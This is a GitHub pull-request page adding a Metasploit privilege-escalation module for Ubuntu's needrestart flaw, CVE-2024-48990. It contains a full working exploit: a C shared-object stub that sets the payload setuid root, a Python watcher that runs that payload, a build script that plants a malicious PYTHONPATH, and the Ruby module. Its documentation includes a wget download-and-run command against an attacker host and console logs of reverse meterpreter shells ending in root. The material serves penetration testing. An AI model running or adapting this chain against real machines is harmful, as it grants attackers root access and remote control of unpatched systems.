Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Ubuntu needrestart LPE (CVE-2024-48990) #19676

Open
wants to merge 8 commits into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from 3 commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
10 changes: 10 additions & 0 deletions data/exploits/CVE-2024-48990/build_and_run.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,10 @@
#!/bin/bash

set -e
mkdir -p "BASE_DIR/importlib"

# Compile lib.c into the prepared PYTHONPATH
gcc -shared -fPIC -o "BASE_DIR/importlib/__init__.so" C_STUB_PATH

# Set the malicious PYTHONPATH and run a py script that waits for the shell
PYTHONPATH="BASE_DIR" python3 PY_STUB_PATH
13 changes: 13 additions & 0 deletions data/exploits/CVE-2024-48990/lib.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,13 @@
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

static void a() __attribute__((constructor));

void a() {
setuid(0);
setgid(0);
const char *shell = "chown root:root PAYLOAD_PATH; chmod a+x PAYLOAD_PATH; chmod u+s PAYLOAD_PATH &";
system(shell);
}
14 changes: 14 additions & 0 deletions data/exploits/CVE-2024-48990/sleeper.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,14 @@
import os
import time
import pwd

print("#########################\n\nDont mind the error message above\\n\\nWaiting for needrestart to run...")

while True:
file_stat = os.stat('PAYLOAD_PATH')
username = pwd.getpwuid(file_stat.st_uid).pw_name
if (username == 'root'):
print("Payload owned by: " + username)
os.system('PAYLOAD_PATH &')
break
time.sleep(1)
125 changes: 125 additions & 0 deletions documentation/modules/exploit/linux/local/ubuntu_needrestart_lpe.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,125 @@
## Vulnerable Application

Local attackers can execute arbitrary code as root by
tricking needrestart into running the Python interpreter with an
attacker-controlled PYTHONPATH environment variable.

Verified against Ubuntu 22.04 with needrestart 3.5-5ubuntu2.1

## Verification Steps

1. Install the application
2. Start msfconsole
3. Get an initial shell
4. Do: `use exploit/linux/local/ubuntu_needrestart_lpe`
5. Do: `set lhost <ip>`
6. Do: `set lport <port>`
7. Do: `set session <session>`
8. Do: `run`
9. You should get a root shell.

## Options

## Scenarios

### Ubuntu 22.04 with needrestart 3.5-5ubuntu2.1

Gain initial shell

```
msf6 > use exploit/multi/script/web_delivery
998
run[*] Using configured payload python/meterpreter/reverse_tcp
msf6 exploit(multi/script/web_delivery) > set target 7
target => 7
msf6 exploit(multi/script/web_delivery) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/script/web_delivery) > set lhost 1.1.1.1
lhost => 1.1.1.1
msf6 exploit(multi/script/web_delivery) > set lport 4998
lport => 4998
msf6 exploit(multi/script/web_delivery) > set srvport 8998
srvport => 8998
msf6 exploit(multi/script/web_delivery) > run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
msf6 exploit(multi/script/web_delivery) >
[*] Started reverse TCP handler on 1.1.1.1:4998
[*] Using URL: http://1.1.1.1:8998/dKtdkMS
[*] Server started.
[*] Run the following command on the target machine:
wget -qO Ejq8lHli --no-check-certificate http://1.1.1.1:8998/dKtdkMS; chmod +x Ejq8lHli; ./Ejq8lHli& disown
[*] 2.2.2.2 web_delivery - Delivering Payload (250 bytes)
[*] Sending stage (3045380 bytes) to 2.2.2.2
[*] Meterpreter session 1 opened (1.1.1.1:4998 -> 2.2.2.2:52004) at 2024-11-22 12:07:55 -0500

msf6 exploit(multi/script/web_delivery) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: h00die
meterpreter > background
[*] Backgrounding session 1...
```

Priv Esc

```
msf6 exploit(multi/script/web_delivery) > use exploit/linux/local/ubuntu_needrestart_lpe
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/ubuntu_needrestart_lpe) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/ubuntu_needrestart_lpe) > set lhost 1.1.1.1
lhost => 1.1.1.1
msf6 exploit(linux/local/ubuntu_needrestart_lpe) > set lport 4977
lport => 4977
msf6 exploit(linux/local/ubuntu_needrestart_lpe) > set session 1
session => 1
msf6 exploit(linux/local/ubuntu_needrestart_lpe) > set verbose true
verbose => true
msf6 exploit(linux/local/ubuntu_needrestart_lpe) > run

[*] Started reverse TCP handler on 1.1.1.1:4977
[*] Running automatic check ("set AutoCheck false" to disable)

[+] The target appears to be vulnerable. Vulnerable needrestart version 3.5-5ubuntu2.1 detected on Ubuntu 22.04
[*] Writing '/tmp/.1K8Hy2tOtq' (250 bytes) ...
[*] Uploading payload: /tmp/.1K8Hy2tOtq
[*] Uploading c_stub: /tmp/.hnPKdLeU2s.c
[*] Uploading py_script: /tmp/.FzzlJ
[*] Uploading build and run script: /tmp/.h0IkpDa
[*] Launching exploit, and waiting for needrestart to run...
```

On the remote Ubuntu box run `sudo needrestart`

```
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 2.2.2.2
[*] chown: changing ownership of '/tmp/.1K8Hy2tOtq': Operation not permitted
[*] Error processing line 1 of /usr/lib/python3/dist-packages/zope.interface-5.4.0-nspkg.pth:
[*]
[*] Traceback (most recent call last):
[*] File "/usr/lib/python3.10/site.py", line 192, in addpackage
[*] exec(line)
[*] File "<string>", line 1, in <module>
[*] ImportError: dynamic module does not define module export function (PyInit_importlib)
h00die marked this conversation as resolved.
Show resolved Hide resolved
[*]
[*] Remainder of file ignored
[*] #########################
[*]
[*] Dont mind the error message above
[*]
[*] Waiting for needrestart to run...
[*] Payload owned by: root
[+] Deleted /tmp/.1K8Hy2tOtq
[+] Deleted /tmp/.hnPKdLeU2s.c
[+] Deleted /tmp/.FzzlJ
[+] Deleted /tmp/.h0IkpDa
[+] Deleted /tmp/importlib
[*] Meterpreter session 2 opened (1.1.1.1:4977 -> 2.2.2.2:57644) at 2024-11-22 12:08:28 -0500

meterpreter >
meterpreter > getuid
Server username: root
```
159 changes: 159 additions & 0 deletions modules/exploits/linux/local/ubuntu_needrestart_lpe.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,159 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = GreatRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html

# includes: is_root?
include Msf::Post::Linux::Priv
# includes: has_gcc?
include Msf::Post::Linux::System
# includes: kernel_release
include Msf::Post::Linux::Kernel
# includes writable?, upload_file, upload_and_chmodx, exploit_data
include Msf::Post::File
# includes generate_payload_exe
include Msf::Exploit::EXE
# includes register_files_for_cleanup
include Msf::Exploit::FileDropper
# includes: COMPILE option, live_compile?, upload_and_compile
# strip_comments
include Msf::Post::Linux::Compile
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Ubuntu needrestart Privilege Escalation',
'Description' => %q{
Local attackers can execute arbitrary code as root by
tricking needrestart into running the Python interpreter with an
attacker-controlled PYTHONPATH environment variable.

Verified against Ubuntu 22.04 with needrestart 3.5-5ubuntu2.1
},
'License' => MSF_LICENSE,
'Author' => [
'h00die', # msf module
'makuga01', # PoC
'qualys' # original advisory
],
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'Stance' => Msf::Exploit::Stance::Passive,
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' => [[ 'Auto', {} ]],
'Privileged' => true,
'References' => [
[ 'URL', 'https://github.com/makuga01/CVE-2024-48990-PoC'],
[ 'URL', 'https://www.qualys.com/2024/11/19/needrestart/needrestart.txt'],
[ 'CVE', '2024-48990']
],
'DisclosureDate' => '2024-11-19',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK]
}
)
)
register_advanced_options [
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
h00die marked this conversation as resolved.
Show resolved Hide resolved
]
end

def base_dir
datastore['WritableDir'].to_s
end

def check
fixed_versions = {
'24.10' => Rex::Version.new('3.6-8ubuntu4.2'),
'24.04' => Rex::Version.new('3.6-7ubuntu4.3'),
'22.04' => Rex::Version.new('3.5-5ubuntu2.2'),
'20.04' => Rex::Version.new('3.4-6ubuntu0.1.esm1'),
'18.04' => Rex::Version.new('3.1-1ubuntu0.1.esm1'),
'16.04' => Rex::Version.new('2.6-1ubuntu0.1.esm1')
}
if file? '/etc/issue'
version = cmd_exec('cat /etc/issue | cut -d " " -f 2').strip
version = version.slice(0, 5) # take off any extra version info
return CheckCode::Safe("Ubuntu version #{version} is not vulnerable") unless fixed_versions.key? version
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Why couldn't those versions of Ubuntu run a vulnerable version of needrestart?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

you could get it running on every version of ubuntu by installing via source code. I'm not bothering with detecting the self-reported version number from the binary due to backporting. Plus its pre-installed on Ubuntu so someone installing a newer version via source code seems unlikely. I think this is good enough for the time being, but am open to PRs if theres a better way


package = cmd_exec('dpkg -l needrestart | grep \'^ii\'')
package = package.split(' ')[2]
package = package.gsub('+', '.')
h00die marked this conversation as resolved.
Show resolved Hide resolved
if package && Rex::Version.new(package) < fixed_versions[version]
return CheckCode::Appears("Vulnerable needrestart version #{package} detected on Ubuntu #{version}")
else
return CheckCode::Safe("needrestart is not vulnerable on Ubuntu #{version}")
end
end

CheckCode::Safe("app #{package} is not vulnerable")
end

def exploit
# Check if we're already root
if !datastore['ForceExploit'] && is_root?
fail_with Failure::None, 'Session already has root privileges. Set ForceExploit to override'
end

# Make sure we can write our exploit and payload to the local system
unless writable? base_dir
fail_with Failure::BadConfig, "#{base_dir} is not writable"
end

# upload payload
payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
upload_and_chmodx payload_path, generate_payload_exe
vprint_status("Uploading payload: #{payload_path}")
register_files_for_cleanup(payload_path)

# our c stub file does our chmod/chown/suid for the payload
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Wouldn't it be better to use metasploit's options/features to prepend the setuid call to the payload, instead of having it in the stub?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

it may be possible, this was a copy of the PoC with no additions.

However, I'm not sure if it would work since the c_stub is originally called by the python script itself. It fails to do the chmod etc. The python stub then waits watching for our payload to get modified.

needrestart is run by sudo/root/etc, which then runs our c_stub, changes the permissions. It may be possible to modify c_stub so that it executes the payload directly only if it detects itself running as root. That would take out some system complexity, but i may need some @zeroSteiner (or other r7) on updating the code to work in metasm (updated code coming soon).

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

looks like this can be refined some more, further testing will happen this week

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I thought we may be able to launch the payload from the .so file directly, but even w/ threading (prepend_thread, and with &) , it freezes needrestart. Its a delicate tradeoff between the python script and .so file, so I think this is a good strategy for now. We've already improved on the original PoC by cutting out the build file, and using metasm to avoid the need for gcc/build-essential

c_stub = strip_comments(exploit_data('CVE-2024-48990', 'lib.c'))
c_stub = c_stub.gsub('PAYLOAD_PATH', payload_path)

c_stub_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}.c"
write_file c_stub_path, c_stub
# upload_and_compile lib_path, lib, "-shared -fPIC -o \"#{base_dir}/importlib/__init__.so\""
vprint_status("Uploading c_stub: #{c_stub_path}")
register_files_for_cleanup(c_stub_path)

# the python script is needed for having the PYTHONPATH set and watches
# for our payload to be modified, then run it
py_script = strip_comments(exploit_data('CVE-2024-48990', 'sleeper.py'))
py_script = py_script.gsub('PAYLOAD_PATH', payload_path)

py_stub_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
write_file py_stub_path, py_script
vprint_status("Uploading py_script: #{py_stub_path}")
register_files_for_cleanup(py_stub_path)

# The build and run script builds our c stub into the python library SO
# then runs our python sleeper script
build_run_script = strip_comments(exploit_data('CVE-2024-48990', 'build_and_run.sh'))
build_run_script = build_run_script.gsub('BASE_DIR', base_dir)
build_run_script = build_run_script.gsub('C_STUB_PATH', c_stub_path)
build_run_script = build_run_script.gsub('PY_STUB_PATH', py_stub_path)

build_run_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
write_file build_run_path, build_run_script
cmd_exec "chmod +x #{build_run_path}"
vprint_status("Uploading build and run script: #{build_run_path}")
register_files_for_cleanup(build_run_path)

register_dir_for_cleanup("#{base_dir}/importlib")

# Launch exploit with a timeout. We also have a vprint_status so if the user wants all the
# output from the exploit being run, they can optionally see it
timeout = 86_400 # 24 hours
h00die marked this conversation as resolved.
Show resolved Hide resolved
print_status 'Launching exploit, and waiting for needrestart to run...'
output = cmd_exec build_run_path, nil, timeout
output.each_line { |line| vprint_status line.chomp }
end
end